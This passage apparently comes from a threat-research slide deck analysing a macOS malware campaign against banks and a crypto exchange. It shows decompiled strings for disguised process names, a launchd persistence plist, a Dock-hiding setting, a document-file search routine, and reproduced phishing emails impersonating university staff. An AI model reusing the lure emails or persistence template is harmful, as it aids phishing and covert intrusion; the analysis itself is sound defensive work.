v76 = std::string::ctor_0("Spotlightd", 0xAu, a2);
v82 = &v77;

LABEL_b7:
v71 = std::string::ctor_0("Dropbox", 7u, a2);
v70 = std::string::ctor_0("quicklookd", 0xAu, a2);
v82 = &v71;

LABEL_45:
v74 = std::string::ctor_0("Skype", 5u, a2);
v73 = std::string::ctor_0("soagent", 7u, a2);
v82 = &v74;

LABEL_89:
v68 = std::string::ctor_0("Google", 6u, a2);
v67 = std::string::ctor_0("Chrome", 6u, a2);
v66 = std::string::ctor_0("accountd", 8u, a2);
v82 = &v69;
```

# Stage 2

- Persistence

```
> cat soagent.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key><string>soagent</string>
    <key>ProgramArguments</key>
    <array><string>/Users/jz/Library/Skype/soagent</string></array>
    <key>RunAtLoad</key><true/>
    <key>KeepAlive</key><true/>
</dict>
</plist>
```

```
sub_100019FF0(&v47, v4 + 16);
v43 = std::string::ctor_0(
    "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
    "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http:"
    "<plist version=\"1.0\">\n"
    "<dict>\n"
    "\t<key>Label</key><string>%1</string>\n"
    "\t<key>ProgramArguments</key>\n"
    "\t<array><string>%2</string></array>\n"
    "\t<key>RunAtLoad</key><true/>\n"
    "\t<key>KeepAlive</key><true/>\n"
    "</dict>\n"
    "</plist>\n",
0x15Cu,
a3);
```

# Stage 2

- Hides application from Macos Dock

```
std::string::ctor((signed __int32 **)&tmpstr, "1", -1);
j_setenv("QT_MAC_DISABLE_FOREGROUND_APPLICATION_TRANSFORM", (__int64)&tmpstr);
```

- Searches for file - *AutoFileSearchTask::files\_to\_search*

```
_QWORD * __fastcall AutoFileSearchTask::files_to_search(double a1)
{
    v11 = *_stack_chk_guard_ptr;
    v7 = std::string::ctor_0(".doc", 5u, a1);
    v8 = std::string::ctor_0(".docx", 6u, a1);
    v9 = std::string::ctor_0(".xls", 5u, a1);
    v10 = std::string::ctor_0(".xlsx", 6u, a1);
    v1 = operator new(0x28uLL);
```

# More About Campaign

Work habits

# Previous Analysis

- Attacking banks, undisclosed financial biz
- Introduced in FireEye Trend (2017)
  - <https://tinyurl.com/firetrend>
- Attack overview by mertsarica.com (2017)
  - <https://tinyurl.com/1mertsa>
  - <https://tinyurl.com/2mertsa>

# Previous Analysis

- Attack analysis by Exatel (2016)
  - <https://tinyurl.com/1exatel>
- Analysis on coincheck hack by LAC Watch (2019)
  - <https://tinyurl.com/lac-coincheck>

# Initial Compromise

- Based on spear phishing
- Office document with macro
- Office 1-day exploit (EPS)
- WinRAR 1-day exploit (ACE path)
- 0-day exploit (FireFox)

# Favorite Method

- Hacked London School of Economics account
  - Use the account for email communication
  - We need expert like you as jury for ‘Award’

My name is [REDACTED], I work at the London School of Economics.

I am the head of the jury panel of contests organized by The Banker: <http://www.thebanker.com/>

Jury panel consists of representatives of several leading universities and also high-qualification experts from the financial corporations.  
Recently, one place in the expert group has become vacant.

We are looking for a consultant that could help us to assess candidates for Islamic Bank of the Year Awards: <http://www.thebanker.com/Awards/Islamic-Bank-of-the-Year-Awards>  
They must have the experience in banking service and sufficient knowledge at the specifics of the region.

It's great honor for me to invite you to join our team.

Are you interested in participation?

Best,

[<https://tinyurl.com/1merts>]

# Favorite Method

- Hacked London School of Economics account
  - Use the account for email communication
  - We need expert like you as jury for ‘Award’

The Banker Awards contest is held not the first time. Best scientists of the University College London, University of Miami School of Business Administration and other universities are the main experts. Jury panel is regularly updated.

External advisor group consists of 20 people – there is one vacant place now.

You will have to answer the set of questions regarding nominees of Islamic Bank of the Year Awards. It is essential for more precise assessment of candidates in each nomination.

At the average, it may take about 2-3 hours a week. We provide flexible work hours and remote work opportunities.

In return, you will get the certificate of the honored contest expert, and prospect for further development in this direction.

In next 3 weeks, we will need your assistance. If it goes well, we will proceed cooperation in 2017.

What do you think?

Best,

**[<https://tinyurl.com/1merts>]**

# Favorite Method

- Hacked London School of Economics account
  - Use the account for email communication
  - We need expert like you as jury for ‘Award’
  - Abuse university’s web hosting for phishing

Foremost, you have to fill out and send me the Expert application form:  
[http://moya.bus.miami.edu/~emil/Documents/Application\\_Form.doc](http://moya.bus.miami.edu/~emil/Documents/Application_Form.doc)

Further, I will prepare the NDA. After that, I will send you first questions.

Best,

[<https://tinyurl.com/1merts>]

# Favorite Method

- Not afraid of conference call with victims

Hello,

Congratulations, your candidature is approved.

The attachment contains the copy of the confirmation letter. Please pay attention to the expiry period of the certificate. You will get the hard copy via mail within 2 weeks.

Let's schedule a call on Thursday, 2 PM, do you mind?

Best regards,  
Matteo


Matteo Salvalaggio  
Senior Director of Development  
London School of Economics & Political Science  
Tel: +442039051983  
Email: [m.salvalaggio@lse.ac.uk](mailto:m.salvalaggio@lse.ac.uk)

[<https://tinyurl.com/2merts>]

# Favorite Method

- Abuse LinkedIn account
  - Impersonate someone with same/similar name

Matteo Salvalaggio  
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Email: [m.salvalaggio@lse.ac.uk](mailto:m.salvalaggio@lse.ac.uk)



The image shows a LinkedIn profile page for a user named Matteo Salvalaggio. The profile picture is a circular portrait of a man with dark hair and a beard, wearing a blue shirt. Below the picture, the name "Matteo Salvalaggio" is displayed in bold black text. Underneath the name, the title "Assegnista borsa di ricerca ReLuis presso Università degli Studi di Padova" is shown. Further down, the text "Università degli Studi di Padova • Università degli Studi di Padova Rovigo Area, Italy • 129 &" is visible. At the top of the LinkedIn interface, there is a navigation bar with icons for Home, My Network, Jobs, Messaging, and Notifications. The Notifications icon has a red notification count of 1.

# Favorite Method

- Hacked Angelina College

Management, Group take-away with dietary preferences

WL Walter Long <149wlong@student.angelina.edu>  
1601/01/01 0:00

Hello,

As discussed on the phone, I'm sending you attached our initial pre-order along with g  
appreciate if you could confirm receipt of this list.

Thank you,  
Walter Long

[<https://tinyurl.com/firetrend>]

# Favorite VPS

- This attack: OVH, LeaseWeb, King-Servers, QHoster
- Previous campaign
  - OVH x 6
  - LeaseWeb x 6
  - King-Servers x 1
  - QHoster x 1
  - Etc (Vultr, netsec.com, HostSailor, etc)

# But...

- Why him?
  - Our initial guess
  - Chat with a friend in B exchange
  - Targeting individual? Exchange?

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# Conclusion

- Decent social engineering
  - Use of compromised university accounts (email/site)
  - Responsive communication
- Use of 0-day/n-day exploits - or just office+macro
- Use of undetected malware
- Skilled operators

# Questions?

- Contact
  - cmpdebugger@gmail.com
  - @jz\_

